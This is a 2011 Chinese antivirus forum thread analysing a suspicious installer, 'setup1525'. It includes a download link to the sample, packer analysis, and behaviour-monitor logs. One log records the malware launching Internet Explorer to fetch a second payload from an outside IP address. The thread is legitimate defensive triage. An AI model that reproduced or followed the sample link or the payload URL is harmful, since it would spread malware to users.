setup1525（文件已添加）

显示全部楼层 · 发表于 2011-10-17 16:11:08

本帖最后由 dalianjhc1986 于 2011-10-17 16:17 编辑

eset云鉴定安全文件某些杀软报毒有误报的可能性

http://anubis.iseclab.org/?actio ... 4c1&format=html

http://camas.comodo.com/cgi-bin/ ... 5af2af3f1f18f63da86

下载地址：http://115.com/file/e6dsm4tb#
setup1525.zip

显示全部楼层 · 发表于 2011-10-17 16:26:49

流氓软件
TF kill

显示全部楼层 · 发表于 2011-10-17 16:49:08

显示全部楼层 · 发表于 2011-10-17 16:52:16

大蜘蛛clean，压缩文件，加了壳：
setup1525\setup1525.exe - packed by FLY-CODE
setup1525\setup1525.exe is BINARYRES container
setup1525.exe\data002 is ZIP archive
setup1525.exe\data002\VClient.exe - packed by UPX
setup1525.exe\data002\VClient.exe is BINARYRES container
setup1525.exe\data002\VClient.exe\data001 - packed by UPX
setup1525.exe\data002\VClient.exe\data002 - packed by ZLIB
setup1525.exe\data002\VClient.exe\data002 is BINARYRES container
已上报

显示全部楼层 · 发表于 2011-10-17 18:23:13

2011-10-17 18:21:04 创建文件       操作:允许
进程路径:F:\virus\setup1525\setup1525.exe
文件路径:C:\Documents and Settings\Administrator\桌面\LightC.lnk
触发规则:所有程序规则->Documents and Settings设置（二）->?:\Documents and Settings\*\桌面\*.lnk

2011-10-17 18:21:04 运行应用程序    操作:允许
进程路径:F:\virus\setup1525\setup1525.exe
文件路径:C:\LightC\VClient.exe
触发规则:应用程序规则->程序->?:\*

2011-10-17 18:21:06 修改注册表内容    操作:使用任务隔离区操作
进程路径:C:\LightC\VClient.exe
注册表路径:HKEY_CLASSES_ROOT\vchat\shell\open\command
注册表名称:[Default]
触发规则:所有程序规则->文件类型关联->HKEY_CLASSES_ROOT\*\command

2011-10-17 18:21:06 访问物理内存    操作:阻止
进程路径:C:\LightC\VClient.exe
物理内存:\Device\PhysicalMemory
触发规则:所有程序规则->*

2011-10-17 18:21:17 运行应用程序    操作:允许
进程路径:C:\LightC\VClient.exe
文件路径:C:\Program Files\Internet Explorer\IEXPLORE.EXE
命令行:-nohome http://83.170.93.85/setup1529b10.exe
触发规则:所有程序规则->非系统进程操作 ->%ProgramFiles%\Internet Explorer\iexplore.exe

显示全部楼层 · 发表于 2011-10-17 18:31:41

红伞kill

显示全部楼层 · 发表于 2011-10-17 20:46:13

显示全部楼层 · 发表于 2011-10-17 21:00:32

2011-10-17 20:58:07 C:\LightC\VClient.exe 获取文件访问权 C:\WINDOWS\system32\shell32.dll 阻止一些访问 076.系统dll_无提示写入到文件

2011-10-17 20:58:07 C:\LightC\VClient.exe 获取文件访问权 C:\WINDOWS\system32\shell32.dll 阻止一些访问 076.系统dll_无提示写入到文件

2011-10-17 20:58:07 C:\LightC\VClient.exe 获取文件访问权 C:\WINDOWS\system32\shell32.dll 阻止一些访问 076.系统dll_无提示写入到文件

2011-10-17 20:58:07 C:\LightC\VClient.exe 获取文件访问权 C:\WINDOWS\system32\shell32.dll 阻止一些访问 076.系统dll_无提示写入到文件

2011-10-17 20:58:07 C:\Documents and Settings\Administrator\桌面\setup1525.exe 修改注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Start Menu 已阻止 038.Common Startup

2011-10-17 20:58:07 C:\Documents and Settings\Administrator\桌面\setup1525.exe 修改注册表 HKEY_USERS\S-1-5-21-790525478-1343024091-303738163-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Start Menu 已阻止 038.Common Startup

[可疑文件] setup1525（文件已添加）

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块